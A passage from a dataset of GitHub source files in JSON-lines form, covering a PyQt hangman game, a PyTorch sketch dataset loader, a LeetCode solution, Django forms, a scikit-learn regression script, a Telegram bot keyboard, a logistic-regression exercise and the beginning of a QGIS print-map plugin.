self.verificar_letra('i')\n\n    def letra_j(self):\n        self.botao_letra_j.setEnabled(False)\n        self.verificar_letra('j')\n\n    def letra_k(self):\n        self.botao_letra_k.setEnabled(False)\n        self.verificar_letra('k')\n\n    def letra_l(self):\n        self.botao_letra_l.setEnabled(False)\n        self.verificar_letra('l')\n\n    def letra_m(self):\n        self.botao_letra_m.setEnabled(False)\n        self.verificar_letra('m')\n\n    def letra_n(self):\n        self.botao_letra_n.setEnabled(False)\n        self.verificar_letra('n')\n\n    def letra_o(self):\n        self.botao_letra_o.setEnabled(False)\n        self.verificar_letra('o')\n\n    def letra_p(self):\n        self.botao_letra_p.setEnabled(False)\n        self.verificar_letra('p')\n\n    def letra_q(self):\n        self.botao_letra_q.setEnabled(False)\n        self.verificar_letra('q')\n\n    def letra_r(self):\n        self.botao_letra_r.setEnabled(False)\n        self.verificar_letra('r')\n\n    def letra_s(self):\n        self.botao_letra_s.setEnabled(False)\n        self.verificar_letra('s')\n\n    def letra_t(self):\n        self.botao_letra_t.setEnabled(False)\n        self.verificar_letra('t')\n\n    def letra_u(self):\n        self.botao_letra_u.setEnabled(False)\n        self.verificar_letra('u')\n\n    def letra_v(self):\n        self.botao_letra_v.setEnabled(False)\n        self.verificar_letra('v')\n\n    def letra_x(self):\n        self.botao_letra_x.setEnabled(False)\n        self.verificar_letra('x')\n\n    def letra_y(self):\n        self.botao_letra_y.setEnabled(False)\n        self.verificar_letra('y')\n\n    def letra_w(self):\n        self.botao_letra_w.setEnabled(False)\n        self.verificar_letra('w')\n\n    def letra_z(self):\n        self.botao_letra_z.setEnabled(False)\n        self.verificar_letra('z')\n\n    def gerar_palavra(self):\n        palavra_sorteada, palavra_normalizada = sortear_palavra()\n        self.__palavra_sorteada = palavra_sorteada\n        self.__palavra_normalizada = palavra_normalizada\n        self.iniciar_tracos()\n        # print(self.__palavra_sorteada)\n\n    def iniciar_tracos(self):\n        quantidade = len(self.__palavra_sorteada)\n        if quantidade >= 1:\n            self.traco_1.show()\n        if quantidade >= 2:\n            self.traco_2.show()\n        if quantidade >= 3:\n            self.traco_3.show()\n        if quantidade >= 4:\n            self.traco_4.show()\n        if quantidade >= 5:\n            self.traco_5.show()\n        if quantidade >= 6:\n            self.traco_6.show()\n        if quantidade >= 7:\n            self.traco_7.show()\n        if quantidade >= 8:\n            self.traco_8.show()\n        if quantidade >= 9:\n            self.traco_9.show()\n        if quantidade >= 10:\n            self.traco_10.show()\n        if quantidade >= 11:\n            self.traco_11.show()\n        if quantidade >= 12:\n            self.traco_12.show()\n        if quantidade >= 13:\n            self.traco_13.show()\n\n    def mostrar_letra(self, posicao, letra):\n        if posicao == 1:\n            self.letra_1.setText(letra)\n            self.letra_1.show()\n        elif posicao == 2:\n            self.letra_2.setText(letra)\n            self.letra_2.show()\n        elif posicao == 3:\n            self.letra_3.setText(letra)\n            self.letra_3.show()\n        elif posicao == 4:\n            self.letra_4.setText(letra)\n            self.letra_4.show()\n        elif posicao == 5:\n            self.letra_5.setText(letra)\n            self.letra_5.show()\n        elif posicao == 6:\n            self.letra_6.setText(letra)\n            self.letra_6.show()\n        elif posicao == 7:\n            self.letra_7.setText(letra)\n            self.letra_7.show()\n        elif posicao == 8:\n            self.letra_8.setText(letra)\n            self.letra_8.show()\n        elif posicao == 9:\n            self.letra_9.setText(letra)\n            self.letra_9.show()\n        elif posicao == 10:\n            self.letra_10.setText(letra)\n            self.letra_10.show()\n        elif posicao == 11:\n            self.letra_11.setText(letra)\n            self.letra_11.show()\n        elif posicao == 12:\n            self.letra_12.setText(letra)\n            self.letra_12.show()\n        elif posicao == 13:\n            self.letra_13.setText(letra)\n            self.letra_13.show()\n\n    def verificar_letra(self, letra):\n        if letra in self.__palavra_normalizada:\n            index = 0\n            for caractere in self.__palavra_normalizada:\n                if caractere == letra:\n                    self.mostrar_letra(index + 1, self.__palavra_sorteada[index])\n                    Ui_MainWindow.letras_advinhadas += 1\n                    if Ui_MainWindow.letras_advinhadas == len(self.__palavra_normalizada):\n                        self.mostra_tela_resultado('vitoria')\n                index += 1\n        else:\n            self.adicionar_erro()\n\n    def arriscar_palavra(self):\n        if len(self.palavra_texto.text()) > 2:\n            palavra_arriscada = self.palavra_texto.text()\n            palavra_arriscada = normalize('NFKD', palavra_arriscada).encode('ASCII', 'ignore').decode('ASCII')\n            palavra_arriscada = palavra_arriscada.lower()\n            if palavra_arriscada == self.__palavra_normalizada:\n                self.mostra_tela_resultado('vitoria')\n            else:\n                self.adicionar_erro()\n\n    def adicionar_erro(self):\n        if Ui_MainWindow.chances_jogador == 6:\n            self.cabeca.show()\n        elif Ui_MainWindow.chances_jogador == 5:\n            self.corpo.show()\n        elif Ui_MainWindow.chances_jogador == 4:\n            self.braco_direito.show()\n        elif Ui_MainWindow.chances_jogador == 3:\n            self.braco_esquerdo.show()\n        elif Ui_MainWindow.chances_jogador == 2:\n            self.perna_direita.show()\n        elif Ui_MainWindow.chances_jogador == 1:\n            self.perna_esquerda.show()\n            self.mostra_tela_resultado('derrota')\n        Ui_MainWindow.chances_jogador -= 1\n\n    def mostra_tela_resultado(self, resultado):\n        if resultado == 'derrota':\n            Ui_tela_estatisticas.dict_resultados['derrotas'] += 1\n            self.tela_resultado.label_resultado.setText('Você perdeu')\n        elif resultado == 'vitoria':\n            Ui_tela_estatisticas.dict_resultados['vitorias'] += 1\n            self.tela_resultado.label_resultado.setText('Você ganhou')\n        elif resultado == 'desistencia':\n            Ui_tela_estatisticas.dict_resultados['desistencias'] += 1\n            self.tela_resultado.label_resultado.setText('Você desistiu')\n        self.tela_resultado.label_palavra.setText(f'A palavra era: {self.__palavra_sorteada}')\n        self.tela_resultado.show()\n\n    def novo_jogo(self):\n        self.zerar_jogo()\n        self.gerar_palavra()\n        self.tela_resultado.hide()\n\n    def abondonar_jogo(self):\n        self.mostra_tela_resultado('desistencia')\n\n\nclass CriarTelaPrincipal(QtWidgets.QMainWindow, Ui_MainWindow):\n    def __init__(self):\n        super(CriarTelaPrincipal, self).__init__()\n        self.setupUi(self)\n        self.zerar_jogo()\n        self.gerar_palavra()\n\n    def closeEvent(self, event):\n            self.tela_estatisticas.escrever_arquivo_estatisticas()\n            event.accept()\n            sys.exit()\n","repo_name":"ThiagoServulo/jogo_forca","sub_path":"ui_tela_do_jogo.py","file_name":"ui_tela_do_jogo.py","file_ext":"py","file_size_in_byte":35645,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"20161367181","text":"import os\nfrom PIL import Image\nimport torch.utils.data as data\nimport torchvision.transforms as transforms\nimport torch\nimport random\nimport platform\n\nif platform.system() == 'Windows':\n    IMG_EXTENSIONS = [\n        '.jpg', '.jpeg', '.png', '.ppm', '.bmp',\n    ]\nelse:\n    IMG_EXTENSIONS = [\n        '.jpg', '.JPG', '.jpeg', '.JPEG',\n        '.png', '.PNG', '.ppm', '.PPM', '.bmp', '.BMP',\n    ]\n    \n    \ndef is_image_file(filename):\n    return any(filename.endswith(extension) for extension in IMG_EXTENSIONS)\n\n\n\nclass UnpairedDataset(data.Dataset):\n    def __init__(self, a_dir, b_dir,name=\"sketchy\",size=256,erase=False):\n        super(UnpairedDataset, self).__init__()\n        self.size = size\n        self.a_dir = a_dir\n        self.b_dir = b_dir\n        self.name = name\n        self.erase = erase\n\n        a_paths = []\n        for root, fold , fnames in sorted(os.walk(a_dir)):\n             for fname in fnames:\n                if is_image_file(fname):\n                    path = os.path.join(root, fname)\n                    a_paths.append(path)\n        self.a_paths = a_paths\n        \n        b_paths = []\n        for root, fold , fnames in sorted(os.walk(b_dir)):\n             for fname in fnames:\n                if is_image_file(fname):\n                    path = os.path.join(root, fname)\n                    b_paths.append(path)\n        self.b_paths = b_paths\n        \n        \n        \n    \n    def __getitem__(self, i):\n        photo = Image.open(self.a_paths[i]).convert('RGB')\n        if photo.size != (self.size,self.size):\n            photo = photo.resize((self.size, self.size), Image.BICUBIC)\n        photo = transforms.ToTensor()(photo)\n        photo = transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))(photo)\n        if self.erase:\n            photo = transforms.RandomErasing(p=0.5, scale=(0.01, 0.08), ratio=(0.5, 2.0))(photo)\n            \n        b_index = random.randint(0, len(self.b_paths) - 1)\n        sketch = Image.open(self.b_paths[b_index]).convert(mode=\"L\")\n        if sketch.size != (self.size,self.size):\n            sketch = sketch.resize((self.size, self.size), Image.BICUBIC)\n        sketch = transforms.ToTensor()(sketch)\n        sketch = transforms.Normalize((0.5,), (0.5,))(sketch)\n        \n        sketch_path= self.a_paths[i].replace(\"photo\", \"sketch\").replace(\".jpg\",\"\")\n        #return the actual sketch of the photo\n        pairedsketches = []\n        i = 1\n        while(True):\n            if self.name == \"sketchy\":\n                temppath = sketch_path + \"-\"+str(i)+\".png\"\n            elif self.name == \"aligned\":\n                temppath = sketch_path + \"_0\"+str(i)+\".png\"\n            \n            if (not os.path.isfile(temppath)):\n                break\n            ps = Image.open(temppath).convert(mode=\"L\") \n            if ps.size != (self.size,self.size):\n                ps = ps.resize((self.size, self.size), Image.BICUBIC)\n                \n            ps = transforms.ToTensor()(ps)\n            ps = transforms.Normalize((0.5,), (0.5,))(ps)\n            pairedsketches.append(ps)\n            i +=1\n        if len(pairedsketches) > 5:\n            pairedsketches = pairedsketches[0:5]\n        if len(pairedsketches) == 0:\n            print(\"somethings wrong\", sketch_path,\"~~~\",self.image_path[i])\n        pairedsketches = torch.cat(pairedsketches, 0) \n        \n        return photo,sketch,pairedsketches\n    \n    def __len__(self):\n        return min(len(self.a_paths),len(self.b_paths)) ","repo_name":"ypgao1/Images-to-Sketches-with-GAN-s","sub_path":"datasets/UnpairedDataset.py","file_name":"UnpairedDataset.py","file_ext":"py","file_size_in_byte":3456,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"1334377293","text":"# 1136. Parallel Courses\r\n# Hard\r\n# 304FavoriteShare\r\n# There are N courses, labelled from 1 to N.\r\n# We are given relations[i] = [X, Y], representing a prerequisite relationship between course X and course Y: course X has to be studied before course Y.\r\n# In one semester you can study any number of courses as long as you have studied all the prerequisites for the course you are studying.\r\n# Return the minimum number of semesters needed to study all courses.  If there is no way to study all the courses, return -1.\r\n \r\n# Example 1:\r\n \r\n# Input: N = 3, relations = [[1,3],[2,3]]\r\n# Output: 2\r\n# Explanation: \r\n# In the first semester, courses 1 and 2 are studied. In the second semester, course 3 is studied.\r\n# Example 2:\r\n \r\n# Input: N = 3, relations = [[1,2],[2,3],[3,1]]\r\n# Output: -1\r\n# Explanation: \r\n# No course can be studied because they depend on each other.\r\n \r\n# Note:\r\n# 1.  1 <= N <= 5000\r\n# 2.  1 <= relations.length <= 5000\r\n# 3.  relations[i][0] != relations[i][1]\r\n# 4.  There are no repeated relations in the input.\r\n\r\n\r\nclass Solution:\r\n    def minimumSemesters(self, N: int, relations: List[List[int]]) -> int:\r\n        child = collections.defaultdict(list)\r\n        parents = [0]*N\r\n        for x,y in relations:\r\n            child[x].append(y)\r\n            parents[y-1] += 1\r\n\r\n        result = 0\r\n        can_take = []\r\n        for key,val in enumerate(parents):\r\n            if val == 0: can_take.append(key+1)\r\n\r\n        taken = 0\r\n        while can_take:\r\n            result += 1\r\n            temp = []\r\n            taken += len(can_take)\r\n            for x in can_take:\r\n                for y in child[x]:\r\n                    parents[y-1] -= 1\r\n                    if parents[y-1] == 0: temp.append(y)\r\n            can_take = temp\r\n\r\n        if taken != N: return -1\r\n        else: return result\r\n","repo_name":"yymmaa0000/LeetCode","sub_path":"1136. Parallel Courses.py","file_name":"1136. Parallel Courses.py","file_ext":"py","file_size_in_byte":1830,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"34837224290","text":"from django import forms\n\nfrom .models import Expense, Income, CategoryIncome, CategoryExpense\n\nclass ExpenseForm(forms.ModelForm):\n    \n    class Meta:\n        model = Expense\n        fields = [\n            'name',\n            'value',\n            'typeexpense',\n            'category',\n        ]\n    category = forms.ModelChoiceField(queryset=CategoryExpense.objects.all())\n    def __init__(self, *args, **kwargs):\n        request = kwargs.pop('request')\n\n        super(ExpenseForm, self).__init__(*args, **kwargs)\n        self.fields['category'].queryset = self.fields['category'].queryset.filter(\n            creation_user=request.user)\n\n\nclass IncomeForm(forms.ModelForm):\n    class Meta:\n        model = Income\n        fields = [\n            'name',\n            'value',\n            'typeincome',\n            'category',\n        ]\n    category = forms.ModelChoiceField(queryset=CategoryIncome.objects.all())\n    def __init__(self, *args, **kwargs):\n        request = kwargs.pop('request')\n\n        super(IncomeForm, self).__init__(*args, **kwargs)\n        self.fields['category'].queryset = self.fields['category'].queryset.filter(\n            creation_user=request.user)\n\nclass CategoryExpenseForm(forms.ModelForm):\n    \n    class Meta:\n        model = CategoryExpense\n        fields = ['name']\n\nclass CategoryIncomeForm(forms.ModelForm):\n    \n    class Meta:\n        model = CategoryIncome\n        fields = ['name']\n\nfield_category_income = IncomeForm.base_fields['category']\nfield_category_expense = ExpenseForm.base_fields['category']\nfield_category_income.widget.attrs[\"class\"] = \"form__field\"\nfield_category_expense.widget.attrs[\"class\"] = \"form__field\"\n\n","repo_name":"CodeWalker3/MoneyManager","sub_path":"money/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1667,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"23172007010","text":"import pandas as pd\n\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import r2_score\nfrom sklearn.pipeline import make_pipeline\nfrom sklearn.compose import ColumnTransformer\nfrom sklearn.preprocessing import OneHotEncoder, MinMaxScaler\nfrom sklearn.ensemble import RandomForestRegressor\nfrom sklearn.model_selection import GridSearchCV\n\n'''\nimport train and test df\n'''\ndf = pd.read_csv(\n    'data/train-2.csv', \n    index_col=0, \n    parse_dates=True\n)\nkaagle = pd.read_csv(\n    'data/test.csv', \n    index_col=0, \n    parse_dates=True\n)\n\n'''\nextract month, hour, weekday columns from index\n'''\ndf['month'] = df.index.month\ndf['hour'] = df.index.hour\ndf['weekday'] = df.index.weekday\n\nkaagle['month'] = kaagle.index.month\nkaagle['hour'] = kaagle.index.hour\nkaagle['weekday'] = kaagle.index.weekday\n\n'''\ndefine X, y\n'''\nX = df.drop(['count', 'registered', 'casual'], axis=1)\ny = df['count']\nX_train, X_test, y_train, y_test = train_test_split(X, y,\n                                                    test_size = 0.2, \n                                                    random_state = 42)\n'''\ndefine the transformation pipeline and fit the model\n'''\ntransform = make_pipeline(\n    ColumnTransformer(\n        transformers=[\n            (\n                'cat', \n                OneHotEncoder(\n                    handle_unknown='ignore', \n                    sparse=False\n                ), \n                [\n                    'season', \n                    'holiday', \n                    'workingday', \n                    'weather', \n                    'month', \n                    'hour', \n                    'weekday'\n                ]\n            ), \n            (\n                'num', \n                MinMaxScaler(), \n                [\n                    'atemp', \n                    'temp', \n                    'humidity', \n                    'windspeed'\n                ]\n            )\n        ]\n    )\n)\n\nX_train_t = transform.fit_transform(X_train)\nX_test_t = transform.transform(X_test)\nm = RandomForestRegressor()\n\nm.fit(X_train_t, y_train)\n\n\n'''\ndefine hyperparameters to optimize and cross validate\n'''\nparameters = {\n    'n_estimators':[100, 120], \n    'max_depth':[8, 16]\n}\ngrid_cv = GridSearchCV(\n    estimator=m, \n    param_grid=parameters, \n    cv = 5, \n    scoring='r2'\n)\ngrid_cv.fit(X_train_t, y_train)\n\n'''\ndefine best estimator, fit that model and make prediction\n'''\nm_best = grid_cv.best_estimator_\nm_best.fit(X_train_t, y_train)\nm_pred = m_best.predict(X_test_t)\n\nprint(r2_score(y_test, m_pred))\n\nkaagle_t = transform.transform(kaagle)\ny_pred = m_best.predict(kaagle_t)\n\n'''\ncreate a df for kaagle submission and save it as .csv file\n'''\noutput = pd.DataFrame(\n    {\n        'datetime':kaagle.index, \n        'count':y_pred\n    }\n)\noutput.to_csv(\n    'data/submission.csv', \n    index=False\n)","repo_name":"lucaberbenni/ML_regression","sub_path":"regression.py","file_name":"regression.py","file_ext":"py","file_size_in_byte":2857,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"32793862728","text":"from telebot import types\n\nstart_quest_command = 'найти квест'\nadd_quest_command = ['add_quest', 'добавить квест']\n\ndef standard_keyboard(user_id=None):\n    markup = types.ReplyKeyboardMarkup(resize_keyboard=True)\n    #@!Так не работает markup.row не принимает словарь.\n    # for row_commands in [russia_commands, regions_commands]:\n    #     row=[]\n    #     for c in row_commands:\n    #         row.append(types.KeyboardButton(c.capitalize()))\n    #     print(row)\n    #     markup.row(row)\n    markup.row(start_quest_command)\n    return markup","repo_name":"velpavel/QuestBot","sub_path":"standard.py","file_name":"standard.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"27684976977","text":"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport h5py\nimport scipy\nfrom PIL import Image\nfrom scipy import ndimage\nfrom lr_utils import load_dataset\nfrom IPython import get_ipython\nimport pdb\n\n#get_ipython().run_line_magic('matplotlib', 'inline')\n\n#get_ipython().magic(u'matplotlib inline')\n\ntrain_set_x_orig, train_set_y, test_set_x_orig, test_set_y, classes = load_dataset()\n\nindex = 25\nplt.imshow(train_set_x_orig[index])\nprint (\"y = \" + str(train_set_y[:, index]) + \", it's a '\" + classes[np.squeeze(train_set_y[:, index])].decode(\"utf-8\") +  \"' picture.\")\n\nm_train = train_set_x_orig.shape[0]\nm_test = test_set_x_orig.shape[0]\nnum_px = train_set_x_orig.shape[1]\n\n\nprint (\"Number of training examples: m_train = \" + str(m_train))\nprint (\"Number of testing examples: m_test = \" + str(m_test))\nprint (\"Height/Width of each image: num_px = \" + str(num_px))\nprint (\"Each image is of size: (\" + str(num_px) + \", \" + str(num_px) + \", 3)\")\nprint (\"train_set_x shape: \" + str(train_set_x_orig.shape))\nprint (\"train_set_y shape: \" + str(train_set_y.shape))\nprint (\"test_set_x shape: \" + str(test_set_x_orig.shape))\nprint (\"test_set_y shape: \" + str(test_set_y.shape))\n\n\n\ntrain_set_x_flatten = train_set_x_orig.reshape(train_set_x_orig.shape[0],-1).T\ntest_set_x_flatten = test_set_x_orig.reshape(test_set_x_orig.shape[0],-1).T\n\n\nprint (\"train_set_x_flatten shape: \" + str(train_set_x_flatten.shape))\nprint (\"train_set_y shape: \" + str(train_set_y.shape))\nprint (\"test_set_x_flatten shape: \" + str(test_set_x_flatten.shape))\nprint (\"test_set_y shape: \" + str(test_set_y.shape))\nprint (\"sanity check after reshaping: \" + str(train_set_x_flatten[0:5,0]))\n\n\n\n\n\ntrain_set_x = train_set_x_flatten/255.\ntest_set_x = test_set_x_flatten/255.\n\n\n\n\ndef sigmoid(z):\n    \"\"\"\n    Compute the sigmoid of z\n\n    Arguments:\n    z -- A scalar or numpy array of any size.\n\n    Return:\n    s -- sigmoid(z)\n    \"\"\"\n\n    ### START CODE HERE ### (≈ 1 line of code)\n    s = 1/(1+np.e**-z)\n    ### END CODE HERE ###\n    \n    return s\n\n\n# In[40]:\n\n\nprint (\"sigmoid([0, 2]) = \" + str(sigmoid(np.array([0,2]))))\n\n\n\ndef initialize_with_zeros(dim):\n\n    ### START CODE HERE ### (≈ 1 line of code)\n    w = np.zeros((dim,1))\n    b = 0\n    ### END CODE HERE ###\n\n    assert(w.shape == (dim, 1))\n    assert(isinstance(b, float) or isinstance(b, int))\n    \n    return w, b\n\n\n# In[42]:\n\n\ndim = 2\nw, b = initialize_with_zeros(dim)\nprint (\"w = \" + str(w))\nprint (\"b = \" + str(b))\n\n\n\ndef propagate(w, b, X, Y):\n\n    m = X.shape[1]\n    \n    # FORWARD PROPAGATION (FROM X TO COST)\n    ### START CODE HERE ### (≈ 2 lines of code)\n    print(\"X Shape\")\n    print(X.shape)\n    print(\"w shape\")\n    print(w.shape)\n    A = sigmoid(np.dot(w.T,X)+b)  # compute activation\n    cost = np.sum((Y*np.log(A) + (1-Y)*np.log(1-A)))/-m       # compute cost\n    ### END CODE HERE ###\n    \n    # BACKWARD PROPAGATION (TO FIND GRAD)\n    ### START CODE HERE ### (≈ 2 lines of code)\n    dw = (np.dot(X,(A-Y).T))/m\n    db = (np.sum(A-Y))/m\n    ### END CODE HERE ###\n\n    assert(dw.shape == w.shape)\n    assert(db.dtype == float)\n    cost = np.squeeze(cost)\n    assert(cost.shape == ())\n    \n    grads = {\"dw\": dw,\n             \"db\": db}\n    \n    return grads, cost\n\n\n# In[44]:\n\n\nw, b, X, Y = np.array([[1.],[2.]]), 2., np.array([[1.,2.,-1.],[3.,4.,-3.2]]), np.array([[1,0,1]])\ngrads, cost = propagate(w, b, X, Y)\nprint (\"dw = \" + str(grads[\"dw\"]))\nprint (\"db = \" + str(grads[\"db\"]))\nprint (\"cost = \" + str(cost))\n\n\n\ndef optimize(w, b, X, Y, num_iterations, learning_rate, print_cost = False):\n    costs = []\n    \n    for i in range(num_iterations):\n        \n        \n        # Cost and gradient calculation (≈ 1-4 lines of code)\n        ### START CODE HERE ### \n        grads, cost = propagate(w, b, X, Y)\n        ### END CODE HERE ###\n        \n        # Retrieve derivatives from grads\n        dw = grads[\"dw\"]\n        db = grads[\"db\"]\n        \n        # update rule (≈ 2 lines of code)\n        ### START CODE HERE ###\n        w = w-(learning_rate)*dw\n        b = b-(learning_rate)*db\n        ### END CODE HERE ###\n        \n        # Record the costs\n        if i % 100 == 0:\n            costs.append(cost)\n        \n        # Print the cost every 100 training iterations\n        if print_cost and i % 100 == 0:\n            print (\"Cost after iteration %i: %f\" %(i, cost))\n    \n    params = {\"w\": w,\n              \"b\": b}\n    \n    grads = {\"dw\": dw,\n             \"db\": db}\n    \n    return params, grads, costs\n\n\n# In[46]:\n\n\nparams, grads, costs = optimize(w, b, X, Y, num_iterations= 100, learning_rate = 0.009, print_cost = False)\n\nprint (\"w = \" + str(params[\"w\"]))\nprint (\"b = \" + str(params[\"b\"]))\nprint (\"dw = \" + str(grads[\"dw\"]))\nprint (\"db = \" + str(grads[\"db\"]))\n\n\n\ndef predict(w, b, X):\n\n    \n    m = X.shape[1]\n    Y_prediction = np.zeros((1,m))\n    w = w.reshape(X.shape[0], 1)\n    \n    # Compute vector \"A\" predicting the probabilities of a cat being present in the picture\n    ### START CODE HERE ### (≈ 1 line of code)\n    A = sigmoid(np.dot(w.T,X)+b)\n    \n    ### END CODE HERE ###\n    for i in range(A.shape[1]):\n        # Convert probabilities A[0,i] to actual predictions p[0,i]\n        ### START CODE HERE ### (≈ 4 lines of code)\n        if ((A[0])[i]) > 0.5:\n             Y_prediction[0][i] = 1  \n        else:\n             Y_prediction[0][i] = 0  \n        \n        ### END CODE HERE ###\n    \n    assert(Y_prediction.shape == (1, m))\n    \n    return Y_prediction\n\n\n# In[48]:\n\n\nw = np.array([[0.1124579],[0.23106775]])\nb = -0.3\nX = np.array([[1.,-1.1,-3.2],[1.2,2.,0.1]])\nprint (\"predictions = \" + str(predict(w, b, X)))\n\n\n\n\ndef model(X_train, Y_train, X_test, Y_test, num_iterations = 2000, learning_rate = 0.005, print_cost = True):\n\n    \n    ### START CODE HERE ###\n    \n    # initialize parameters with zeros (≈ 1 line of code)\n    w, b = initialize_with_zeros(X_train.shape[0])\n\n\n    # Gradient descent (≈ 1 line of code)\n    parameters, grads, costs = optimize(w, b, X_train, Y_train, num_iterations, learning_rate, print_cost)\n    \n    # Retrieve parameters w and b from dictionary \"parameters\"\n    w = parameters[\"w\"]\n    b = parameters[\"b\"]\n    \n    # Predict test/train set examples (≈ 2 lines of code)\n    Y_prediction_test = predict(w, b, X_test)\n    Y_prediction_train = predict(w, b, X_train)\n\n    ### END CODE HERE ###\n\n    # Print train/test Errors\n    print(\"train accuracy: {} %\".format(100 - np.mean(np.abs(Y_prediction_train - Y_train)) * 100))\n    print(\"test accuracy: {} %\".format(100 - np.mean(np.abs(Y_prediction_test - Y_test)) * 100))\n\n    \n    d = {\"costs\": costs,\n         \"Y_prediction_test\": Y_prediction_test, \n         \"Y_prediction_train\" : Y_prediction_train, \n         \"w\" : w, \n         \"b\" : b,\n         \"learning_rate\" : learning_rate,\n         \"num_iterations\": num_iterations}\n    \n    return d\n\n\n# Run the following cell to train your model.\n\n# In[53]:\n\n\nd = model(train_set_x, train_set_y, test_set_x, test_set_y, num_iterations = 2000, learning_rate = 0.005, print_cost = True)\n\n\n\n# Example of a picture that was wrongly classified.\nindex = 1\n#plt.imshow(test_set_x[:,index].reshape((num_px, num_px, 3)))\n#print (\"y = \" + str(test_set_y[0,index]) + \", you predicted that it is a \\\"\" + classes[d[\"Y_prediction_test\"][0,index]].decode(\"utf-8\") +  \"\\\" picture.\")\n\n\n# Let's also plot the cost function and the gradients.\n\n\n\n\n# Plot learning curve (with costs)\ncosts = np.squeeze(d['costs'])\nplt.plot(costs)\nplt.ylabel('cost')\nplt.xlabel('iterations (per hundreds)')\nplt.title(\"Learning rate =\" + str(d[\"learning_rate\"]))\nplt.show()\n\n\n\n\nlearning_rates = [0.01, 0.001, 0.0001]\nmodels = {}\nfor i in learning_rates:\n    print (\"learning rate is: \" + str(i))\n    models[str(i)] = model(train_set_x, train_set_y, test_set_x, test_set_y, num_iterations = 1500, learning_rate = i, print_cost = False)\n    print ('\\n' + \"-------------------------------------------------------\" + '\\n')\n\nfor i in learning_rates:\n    plt.plot(np.squeeze(models[str(i)][\"costs\"]), label= str(models[str(i)][\"learning_rate\"]))\n\nplt.ylabel('cost')\nplt.xlabel('iterations (hundreds)')\n\nlegend = plt.legend(loc='upper center', shadow=True)\nframe = legend.get_frame()\nframe.set_facecolor('0.90')\nplt.show()\n\n\n\n\n## START CODE HERE ## (PUT YOUR IMAGE NAME) \n#my_image = \"my_image.jpg\"   # change this to the name of your image file\n\n#fname = \"images/\" + my_image\n#image = np.array(ndimage.imread(fname, flatten=False))\n#my_image = scipy.misc.imresize(image, size=(num_px,num_px)).reshape((1, num_px*num_px*3)).T\n#my_predicted_image = predict(d[\"w\"], d[\"b\"], my_image)\n\n#plt.imshow(image)\n#print(\"y = \" + str(np.squeeze(my_predicted_image)) + \", your algorithm predicts a \\\"\" + classes[int(np.squeeze(my_predicted_image)),].decode(\"utf-8\") +  \"\\\" picture.\")\n\n\n","repo_name":"somu240/machinelearingpart1","sub_path":"Week 2/Logistic Regression as a Neural Network/Logistic_Regression_with_a_Neural_Network_mindset_v5.py","file_name":"Logistic_Regression_with_a_Neural_Network_mindset_v5.py","file_ext":"py","file_size_in_byte":8746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"25970177390","text":"from __future__ import absolute_import\nfrom builtins import range\nfrom builtins import str\nimport psycopg2\nimport sqlite3  as sq\nfrom sqlite3 import Error\nimport os\nimport sys\nimport subprocess\nimport platform\nimport time\nimport pandas as pd\nimport numpy as np\n\nfrom datetime import date\n\nfrom distutils.dir_util import copy_tree\nfrom random import randrange as rand\nfrom PyQt5 import QtCore, QtGui, QtWidgets\n#from PyQt5.QtXml import QDomDocument\nfrom qgis.PyQt.QtCore import *\nfrom qgis.PyQt.QtGui import QColor, QIcon\nfrom qgis.PyQt.QtWidgets import *\nfrom qgis.PyQt.uic import loadUiType\nfrom qgis.core import Qgis, QgsSettings,QgsGeometry,QgsProject,QgsApplication\nfrom qgis.gui import QgsMapCanvas, QgsMapToolPan\nfrom qgis.PyQt.QtSql import QSqlDatabase, QSqlTableModel\nfrom ..gui.imageViewer import ImageViewer\nfrom ..modules.utility.pyarchinit_OS_utility import Pyarchinit_OS_Utility\n\nfrom ..resources.resources_rc import *\n\nMAIN_DIALOG_CLASS, _ = loadUiType(\n    os.path.join(os.path.dirname(__file__), os.pardir, 'gui', 'ui', 'Print_map.ui'))\nclass pyarchinit_PRINTMAP(QDialog, MAIN_DIALOG_CLASS):\n    \n    HOME = os.environ['PYARCHINIT_HOME']\n    \n    BIN = '{}{}{}'.format(HOME, os.sep, \"bin\")\n    \n    def __init__(self, iface):\n        super().__init__()\n        self.iface = iface\n        self.setupUi(self)\n        self.mDockWidget.setHidden(True)\n        self.plugin_dir = os.path.dirname(__file__)\n        self.listWidget.itemClicked.connect(self.suggestLayoutName)\n        self.btnAddMore.clicked.connect(self.addMoreTemplates)        \n        self.listWidget.setContextMenuPolicy(Qt.CustomContextMenu)\n        self.listWidget.customContextMenuRequested.connect(self.listMenu)\n        self.customize_GUI()\n        self.txtLayoutName.setEnabled(False)\n        self.run()\n        \n        \n    def customize_GUI(self):\n        self.listWidget_2.itemDoubleClicked.connect(self.opentepmplatePreview)\n    \n    def loadTemplates(self):\n        self.listWidget.clear()\n        profile_dir = self.HOME\n        templates_dir = os.path.join(profile_dir,'bin','profile','template')\n          \n        # Does the composer_templates folder exist? Otherwise create it.\n        if os.path.isdir(templates_dir) == False:\n            os.mkdir(templates_dir)\n          \n        # Search the templates folder and add files to templates list and sort it\n        templates = [f.name for f in os.scandir(templates_dir) if f.is_file() ]\n        templates.sort()\n          \n        # Get the project file name and if it exist the project title. Use for Title suggestion\n        project_file_name = QFileInfo(QgsProject.instance().fileName()).baseName()\n        project_title = QgsProject.instance().title()\n        if project_title == '':\n            project_title = project_file_name\n        self.txtMapTitle.setText(project_title)\n          \n        # Add all the templates from the list to the listWidget (only add files with *.qpt extension)\n        for template in templates:\n            filename, extension = os.path.splitext(template) \n            if extension == '.qpt':\n                self.listWidget.addItem(filename)\n            \n                \n   \n    \n    def listMenu(self, position):\n        self.txtLayoutName.setEnabled(False)\n        indexes = 